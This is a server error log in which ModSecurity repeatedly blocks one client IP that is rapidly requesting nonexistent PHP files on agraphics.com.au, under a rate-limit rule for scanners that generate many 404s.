[Fri Apr 17 14:33:08.128522 2026] [:error] [pid 9152:tid 9214] [client 74.234.56.128:24832] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1.php"] [unique_id "aeHUJJJYca8I3TNCwIf-awAAAFg"]
[Fri Apr 17 14:33:08.729590 2026] [:error] [pid 61523:tid 61541] [client 74.234.56.128:26432] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1.php"] [unique_id "aeHUJMOaH-Pgc7WEf4NGLwAAAcA"]
[Fri Apr 17 14:33:09.470416 2026] [:error] [pid 9153:tid 9232] [client 74.234.56.128:23831] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1.php"] [unique_id "aeHUJeMHGxkTZX3c45fPDQAAAI4"]
[Fri Apr 17 14:33:10.011829 2026] [:error] [pid 51878:tid 51898] [client 74.234.56.128:27470] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1.php"] [unique_id "aeHUJknQhUtMbw9EsgYaYAAAARI"]
[Fri Apr 17 14:33:10.519018 2026] [:error] [pid 51878:tid 51889] [client 74.234.56.128:26481] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aligk.php"] [unique_id "aeHUJknQhUtMbw9EsgYaYQAAAQk"]
[Fri Apr 17 14:33:11.044676 2026] [proxy_fcgi:error] [pid 51878:tid 51881] [client 74.234.56.128:26395] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:33:11.129286 2026] [proxy_fcgi:error] [pid 34273:tid 34296] [client 74.234.56.128:27476] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:33:11.298865 2026] [proxy_fcgi:error] [pid 51878:tid 51896] [client 74.234.56.128:26395] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:33:11.407538 2026] [proxy_fcgi:error] [pid 34273:tid 34292] [client 74.234.56.128:27476] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:33:11.552906 2026] [proxy_fcgi:error] [pid 51878:tid 51895] [client 74.234.56.128:26395] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:33:11.671632 2026] [proxy_fcgi:error] [pid 34273:tid 34279] [client 74.234.56.128:27476] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:33:11.806514 2026] [proxy_fcgi:error] [pid 51878:tid 51884] [client 74.234.56.128:26395] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:33:11.954311 2026] [proxy_fcgi:error] [pid 34273:tid 34284] [client 74.234.56.128:27476] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:33:12.064718 2026] [proxy_fcgi:error] [pid 51878:tid 51887] [client 74.234.56.128:26395] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:33:12.216983 2026] [proxy_fcgi:error] [pid 34273:tid 34275] [client 74.234.56.128:27476] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:33:12.317846 2026] [proxy_fcgi:error] [pid 51878:tid 51899] [client 74.234.56.128:26395] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:33:12.477479 2026] [:error] [pid 34273:tid 34280] [client 74.234.56.128:27476] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no18.php"] [unique_id "aeHUKGuQDW686mK3dgHC8AAAAYU"]
[Fri Apr 17 14:33:12.616293 2026] [:error] [pid 51878:tid 51897] [client 74.234.56.128:26395] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aeHUKEnQhUtMbw9EsgYaaQAAARE"]
[Fri Apr 17 14:33:13.096501 2026] [:error] [pid 51878:tid 51894] [client 74.234.56.128:27428] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no18.php"] [unique_id "aeHUKUnQhUtMbw9EsgYaagAAAQ4"]
[Fri Apr 17 14:33:13.158772 2026] [:error] [pid 51878:tid 51902] [client 74.234.56.128:24326] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aeHUKUnQhUtMbw9EsgYaawAAARY"]
[Fri Apr 17 14:33:13.670298 2026] [:error] [pid 34273:tid 34299] [client 74.234.56.128:26425] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aeHUKWuQDW686mK3dgHC8QAAAZg"]
[Fri Apr 17 14:33:13.773606 2026] [:error] [pid 61523:tid 61543] [client 74.234.56.128:26960] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no18.php"] [unique_id "aeHUKcOaH-Pgc7WEf4NGOAAAAcE"]
[Fri Apr 17 14:33:14.229029 2026] [:error] [pid 61523:tid 61566] [client 74.234.56.128:24854] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aeHUKsOaH-Pgc7WEf4NGOQAAAdg"]
[Fri Apr 17 14:33:14.322908 2026] [:error] [pid 61523:tid 61562] [client 74.234.56.128:25349] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no18.php"] [unique_id "aeHUKsOaH-Pgc7WEf4NGOwAAAdQ"]
[Fri Apr 17 14:33:14.733627 2026] [:error] [pid 25010:tid 25035] [client 74.234.56.128:24437] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "aeHUKo-7kkf42RarqQ1FlwAAAVY"]
[Fri Apr 17 14:33:14.857118 2026] [:error] [pid 9153:tid 9242] [client 74.234.56.128:27005] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fine.php"] [unique_id "aeHUKuMHGxkTZX3c45fPEAAAAJg"]
[Fri Apr 17 14:33:15.270317 2026] [:error] [pid 9263:tid 9267] [client 74.234.56.128:27507] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "aeHUKxP68VyHNvj1e56jCwAAAMI"]
[Fri Apr 17 14:33:15.361843 2026] [:error] [pid 34273:tid 34288] [client 74.234.56.128:27446] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fine.php"] [unique_id "aeHUK2uQDW686mK3dgHC8gAAAY0"]
[Fri Apr 17 14:33:15.777682 2026] [:error] [pid 9153:tid 9231] [client 74.234.56.128:26912] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "aeHUK-MHGxkTZX3c45fPEwAAAI0"]
[Fri Apr 17 14:33:15.950815 2026] [:error] [pid 9263:tid 9276] [client 74.234.56.128:25425] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fine.php"] [unique_id "aeHUKxP68VyHNvj1e56jDQAAAMs"]
[Fri Apr 17 14:33:16.378692 2026] [:error] [pid 9151:tid 9178] [client 74.234.56.128:27485] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "aeHULMhTVuRPkua22vQUqgAAABE"]
[Fri Apr 17 14:33:16.456388 2026] [:error] [pid 9152:tid 9200] [client 74.234.56.128:26972] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fine.php"] [unique_id "aeHULJJYca8I3TNCwIf-cwAAAEo"]
[Fri Apr 17 14:33:16.910647 2026] [:error] [pid 9263:tid 9284] [client 74.234.56.128:26919] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aeHULBP68VyHNvj1e56jEQAAANM"]
[Fri Apr 17 14:33:17.073673 2026] [:error] [pid 9263:tid 9289] [client 74.234.56.128:24883] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aeHULRP68VyHNvj1e56jEgAAANg"]
[Fri Apr 17 14:33:17.453001 2026] [:error] [pid 9151:tid 9168] [client 74.234.56.128:27438] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aeHULchTVuRPkua22vQUrAAAAAc"]
[Fri Apr 17 14:33:17.607162 2026] [:error] [pid 9263:tid 9288] [client 74.234.56.128:26895] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aeHULRP68VyHNvj1e56jFgAAANc"]
[Fri Apr 17 14:33:18.049822 2026] [:error] [pid 25010:tid 25022] [client 74.234.56.128:27480] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aeHULo-7kkf42RarqQ1FmAAAAUk"]
[Fri Apr 17 14:33:18.177175 2026] [:error] [pid 61523:tid 61548] [client 74.234.56.128:26889] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aeHULsOaH-Pgc7WEf4NGPQAAAcY"]
[Fri Apr 17 14:33:18.610535 2026] [:error] [pid 9151:tid 9172] [client 74.234.56.128:26385] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aeHULshTVuRPkua22vQUrQAAAAs"]
[Fri Apr 17 14:33:18.711349 2026] [:error] [pid 61523:tid 61559] [client 74.234.56.128:26983] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "aeHULsOaH-Pgc7WEf4NGQAAAAdE"]
[Fri Apr 17 14:33:19.302477 2026] [:error] [pid 61523:tid 61541] [client 74.234.56.128:27913] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aeHUL8OaH-Pgc7WEf4NGQgAAAcA"]
[Fri Apr 17 14:33:19.348664 2026] [:error] [pid 9263:tid 9274] [client 74.234.56.128:27518] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "aeHULxP68VyHNvj1e56jHAAAAMk"]
[Fri Apr 17 14:33:19.923778 2026] [:error] [pid 9263:tid 9280] [client 74.234.56.128:26989] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "aeHULxP68VyHNvj1e56jHwAAAM8"]
[Fri Apr 17 14:33:19.982774 2026] [:error] [pid 9263:tid 9286] [client 74.234.56.128:26881] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aeHULxP68VyHNvj1e56jIAAAANU"]
[Fri Apr 17 14:33:20.572218 2026] [:error] [pid 51878:tid 51896] [client 74.234.56.128:26489] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aeHUMEnQhUtMbw9EsgYacQAAARA"]
[Fri Apr 17 14:33:20.635056 2026] [:error] [pid 51878:tid 51886] [client 74.234.56.128:27515] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "aeHUMEnQhUtMbw9EsgYacgAAAQY"]
[Fri Apr 17 14:33:21.169840 2026] [:error] [pid 51878:tid 51903] [client 74.234.56.128:24885] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uuu.php"] [unique_id "aeHUMUnQhUtMbw9EsgYacwAAARc"]
[Fri Apr 17 14:33:21.437457 2026] [:error] [pid 51878:tid 51895] [client 74.234.56.128:27971] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xa.php"] [unique_id "aeHUMUnQhUtMbw9EsgYadAAAAQ8"]
[Fri Apr 17 14:33:21.713074 2026] [:error] [pid 9263:tid 9273] [client 74.234.56.128:26946] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no1.php"] [unique_id "aeHUMRP68VyHNvj1e56jJgAAAMg"]
[Fri Apr 17 14:33:22.151141 2026] [:error] [pid 9263:tid 9268] [client 74.234.56.128:28022] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aeHUMhP68VyHNvj1e56jJwAAAMM"]
[Fri Apr 17 14:33:22.289640 2026] [:error] [pid 9263:tid 9279] [client 74.234.56.128:27478] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no1.php"] [unique_id "aeHUMhP68VyHNvj1e56jKQAAAM4"]
[Fri Apr 17 14:33:22.753834 2026] [:error] [pid 34273:tid 34285] [client 74.234.56.128:27948] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aeHUMmuQDW686mK3dgHC-AAAAYo"]
[Fri Apr 17 14:33:22.901112 2026] [:error] [pid 51878:tid 51884] [client 74.234.56.128:27492] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no1.php"] [unique_id "aeHUMknQhUtMbw9EsgYadQAAAQQ"]
[Fri Apr 17 14:33:23.458282 2026] [:error] [pid 51878:tid 51897] [client 74.234.56.128:27441] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/no1.php"] [unique_id "aeHUM0nQhUtMbw9EsgYadwAAARE"]
[Fri Apr 17 14:33:23.570689 2026] [:error] [pid 9153:tid 9228] [client 74.234.56.128:27939] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aeHUM-MHGxkTZX3c45fPFwAAAIo"]
[Fri Apr 17 14:33:23.980384 2026] [:error] [pid 9151:tid 9184] [client 74.234.56.128:27954] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w2025.php"] [unique_id "aeHUM8hTVuRPkua22vQUswAAABc"]
[Fri Apr 17 14:33:24.400933 2026] [:error] [pid 9152:tid 9213] [client 74.234.56.128:27465] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin.php"] [unique_id "aeHUNJJYca8I3TNCwIf-eAAAAFc"]
[Fri Apr 17 14:33:24.505970 2026] [:error] [pid 9152:tid 9205] [client 74.234.56.128:25902] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w2025.php"] [unique_id "aeHUNJJYca8I3TNCwIf-eQAAAE8"]
[Fri Apr 17 14:33:25.092355 2026] [:error] [pid 9263:tid 9288] [client 74.234.56.128:27506] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w2025.php"] [unique_id "aeHUNRP68VyHNvj1e56jKwAAANc"]
[Fri Apr 17 14:33:25.217698 2026] [:error] [pid 9263:tid 9273] [client 74.234.56.128:27392] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "aeHUNRP68VyHNvj1e56jLAAAAMg"]
[Fri Apr 17 14:33:25.713602 2026] [:error] [pid 51878:tid 51900] [client 74.234.56.128:27921] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/w2025.php"] [unique_id "aeHUNUnQhUtMbw9EsgYaewAAARQ"]
[Fri Apr 17 14:33:25.916337 2026] [:error] [pid 9153:tid 9241] [client 74.234.56.128:27489] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "aeHUNeMHGxkTZX3c45fPHwAAAJc"]
[Fri Apr 17 14:33:26.233341 2026] [:error] [pid 9153:tid 9225] [client 74.234.56.128:27908] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fvvff.php"] [unique_id "aeHUNuMHGxkTZX3c45fPIAAAAIc"]
[Fri Apr 17 14:33:26.755844 2026] [:error] [pid 9263:tid 9278] [client 74.234.56.128:24889] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "aeHUNhP68VyHNvj1e56jLQAAAM0"]
